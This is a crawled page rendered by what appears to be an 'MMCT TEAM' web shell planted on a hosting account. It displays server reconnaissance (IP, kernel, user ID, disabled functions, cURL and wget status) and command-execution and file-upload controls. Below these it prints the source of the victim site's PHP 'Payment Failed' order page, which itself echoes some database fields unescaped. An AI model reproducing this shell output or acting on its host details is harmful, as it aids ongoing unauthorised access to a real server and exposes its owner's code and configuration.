MMCT TEAM
Server IP : 217.21.85.138  /  Your IP : 216.73.216.103
Web Server : LiteSpeed
System : Linux in-mum-web906.main-hosting.eu 4.18.0-553.37.1.lve.el8.x86_64 #1 SMP Mon Feb 10 22:45:17 UTC 2025 x86_64
User : u915722082 ( 915722082)
PHP Version : 7.4.33
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u915722082/public_html/js/../pms/config/../admin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u915722082/public_html/js/../pms/config/../admin/payment_failed.php
<?php
session_start();
require_once '../config/config.php';
$con = getDatabaseConnection();

$order_id = isset($_GET['order_id']) ? (int)$_GET['order_id'] : 0;
$order = null;

if ($order_id > 0) {
    $query = "SELECT * FROM tbl_domain_orders WHERE order_id = $order_id";
    $result = mysqli_query($con, $query);
    $order = mysqli_fetch_assoc($result);
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <base href="../" />
    <title>Payment Failed</title>
    <meta charset="utf-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1" />
    <link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Inter:300,400,500,600,700" />
    <link href="assets/plugins/global/plugins.bundle.css" rel="stylesheet" type="text/css" />
    <link href="assets/css/style.bundle.css" rel="stylesheet" type="text/css" />
    
    <style>
        .failure-container {
            max-width: 600px;
            margin: 50px auto;
            text-align: center;
        }
        .failure-icon {
            width: 100px;
            height: 100px;
            background: linear-gradient(135deg, #dc3545 0%, #c82333 100%);
            border-radius: 50%;
            display: flex;
            align-items: center;
            justify-content: center;
            margin: 0 auto 30px;
            animation: shake 0.5s;
        }
        @keyframes shake {
            0%, 100% { transform: translateX(0); }
            10%, 30%, 50%, 70%, 90% { transform: translateX(-10px); }
            20%, 40%, 60%, 80% { transform: translateX(10px); }
        }
    </style>
</head>

<body class="bg-light">
    <div class="container">
        <div class="failure-container">
            <div class="failure-icon">
                <i class="ki-duotone ki-cross-circle fs-3x text-white">
                    <span class="path1"></span>
                    <span class="path2"></span>
                </i>
            </div>
            
            <h1 class="text-danger fw-bold mb-3">Payment Failed</h1>
            <p class="text-muted fs-5 mb-5">Unfortunately, your payment could not be processed</p>
            
            <div class="card shadow-sm">
                <div class="card-body p-8">
                    <?php if ($order): ?>
                    <div class="mb-5">
                        <div class="text-muted mb-2">Order Number</div>
                        <div class="fw-bold"><?php echo $order['order_number']; ?></div>
                    </div>
                    
                    <div class="mb-5">
                        <div class="text-muted mb-2">Domain Name</div>
                        <div class="fw-bold"><?php echo htmlspecialchars($order['domain_name']); ?></div>
                    </div>
                    
                    <div class="mb-5">
                        <div class="text-muted mb-2">Amount</div>
                        <div class="fw-bold"><?php echo $order['currency']; ?> <?php echo number_format($order['total_amount'], 2); ?></div>
                    </div>
                    <?php endif; ?>
                    
                    <div class="alert alert-light-danger">
                        <strong>Possible Reasons:</strong>
                        <ul class="text-start mt-3 mb-0">
                            <li>Insufficient balance</li>
                            <li>Payment gateway timeout</li>
                            <li>Incorrect payment details</li>
                            <li>Network connectivity issues</li>
                        </ul>
                    </div>
                </div>
            </div>
            
            <div class="mt-8">
                <?php if ($order): ?>
                <a href="admin/payment_page.php?order_id=<?php echo $order_id; ?>" class="btn btn-danger me-3">
                    <i class="ki-duotone ki-arrows-circle fs-2 me-1">
                        <span class="path1"></span>
                        <span class="path2"></span>
                    </i>
                    Try Again
                </a>
                <?php endif; ?>
                
                <a href="admin/domain_portfolio.php" class="btn btn-light-danger">
                    <i class="ki-duotone ki-left fs-2"></i>
                    Back to Domains
                </a>
            </div>
        </div>
    </div>
    
    <script src="assets/plugins/global/plugins.bundle.js"></script>
</body>
</html>

MMCT - 2023